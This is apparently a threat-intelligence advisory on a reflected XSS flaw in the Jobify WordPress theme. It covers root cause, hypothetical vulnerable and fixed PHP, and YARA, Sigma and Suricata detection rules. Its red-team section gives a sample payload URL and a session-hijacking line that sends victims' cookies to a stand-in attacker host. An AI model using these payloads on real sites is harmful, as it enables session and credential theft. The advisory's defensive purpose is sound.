CVE-2025-67916

Executive Summary

CVE-2025-67916 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress ecosystem, specifically within the Jobify theme by Astoundify, affecting versions up to and including 4.3.0. This vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into a web page, which is then reflected back to the victim. The attack requires user interaction (e.g., clicking a crafted link), but due to the lack of proper input sanitization, it can lead to session hijacking, credential theft, or defacement. The vendor has not released a patch, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress theme distributed via ThemeForest and other marketplaces. Since it is not an open-source package (NPM, PyPI, etc.), supply chain risks are limited to the theme's update mechanism. Users must manually update or apply a workaround.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact can extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium (CVSS 7.1). While the base score is elevated due to network exploitability and scope change, the requirement for user interaction and low impact ratings reduce the overall criticality.

Deep Dive & Mechanics

The vulnerability resides in the Jobify theme's handling of user-supplied input in URL parameters. The theme fails to properly neutralize or encode input before reflecting it in the HTML response. An attacker can craft a malicious URL containing JavaScript payloads in a parameter (e.g., ?search=<script>alert(1)</script>). When a victim visits this URL, the script executes in the context of the victim's browser session on the vulnerable WordPress site.

Root Cause: The theme uses echo $_GET['some_param'] or similar functions without applying esc_html(), esc_attr(), or wp_kses() sanitization. This is a classic example of CWE-79: Improper Neutralization of Input During Web Page Generation.

Attack Vector: Reflected XSS via crafted URL. The payload is not stored on the server but is immediately reflected in the response.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on WordPress coding standards.

Vulnerable Code (Jobify theme, e.g., in header.php or a template file):

<?php
// Vulnerable: directly echoes user input without sanitization
$search_term = $_GET['search'];
echo '<div class="search-result">You searched for: ' . $search_term . '</div>';
?>

Patched Code (Recommended Fix):

<?php
// Patched: sanitize and escape output
$search_term = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo '<div class="search-result">You searched for: ' . esc_html($search_term) . '</div>';
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running Jobify <= 4.3.0.
• A victim user with an active session.

Exploit Steps:

1. Identify a vulnerable parameter (e.g., search, s, q) in the theme's search or filter functionality.
2. Craft a malicious URL:

   http://target-site.com/?search=<script>alert('XSS')</script>
   

3. Deliver the link to the victim via phishing email, social engineering, or other means.
4. When the victim clicks the link, the JavaScript executes in their browser.

Advanced Payload (Session Hijacking):

http://target-site.com/?search=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Note: No public exploit code (Exploit-DB) is available for this CVE.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing suspicious patterns like <script>, onerror=, javascript: in URL parameters.
• Use WAF rules to block reflected XSS attempts.

Prevention:

• Apply the patched code manually (see Vulnerable vs. Patched Code section).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) that include XSS filtering.

Hunting:

• Search for recent requests to the vulnerable endpoint with unusual parameters.
• Check for unexpected JavaScript execution in browser console logs (if available).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing <script> tags in URL parameters.
  • Referer headers from known malicious domains.
  • Unusual User-Agent strings (e.g., empty or mimicking browsers).

• Host IOCs:

  • Unexpected JavaScript files in browser cache.
  • Modified browser settings (e.g., proxy changes) if session hijacking occurred.

• Log IOCs:

  • Web server logs showing GET /?search=<script>... patterns.
  • 404 errors for non-existent resources (if payload attempts to load external scripts).

Detection Engineering

YARA Rule

rule CVE_2025_67916_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Jobify theme CVE-2025-67916"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67916"
    strings:
        $xss_pattern1 = /[?&](search|s|q)=.*<script/i
        $xss_pattern2 = /[?&](search|s|q)=.*%3Cscript/i
        $xss_pattern3 = /[?&](search|s|q)=.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Jobify Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in parameters commonly used by Jobify theme
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - '%3Cscript'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate search queries containing '<' or '>' characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67916 Reflected XSS Attempt - Jobify Theme"; flow:to_server,established; content:"GET"; http_method; content:"?search="; http_uri; nocase; pcre:"/(<script|%3Cscript|onerror|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable functionality (e.g., search feature) until a patch is applied.
2. Apply a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Manually patch the theme by adding input sanitization and output escaping (see Vulnerable vs. Patched Code section).

Long-term Fix:

• Contact Astoundify for an official patch. If unresponsive, consider switching to a different theme.
• Implement a Content Security Policy (CSP) with script-src 'self' to mitigate XSS impact.
• Regularly update all WordPress components (core, themes, plugins).

Workaround:

• Use a WordPress security plugin that offers virtual patching for known vulnerabilities.

Report generated by Valters IT DevSecOps & CTI Division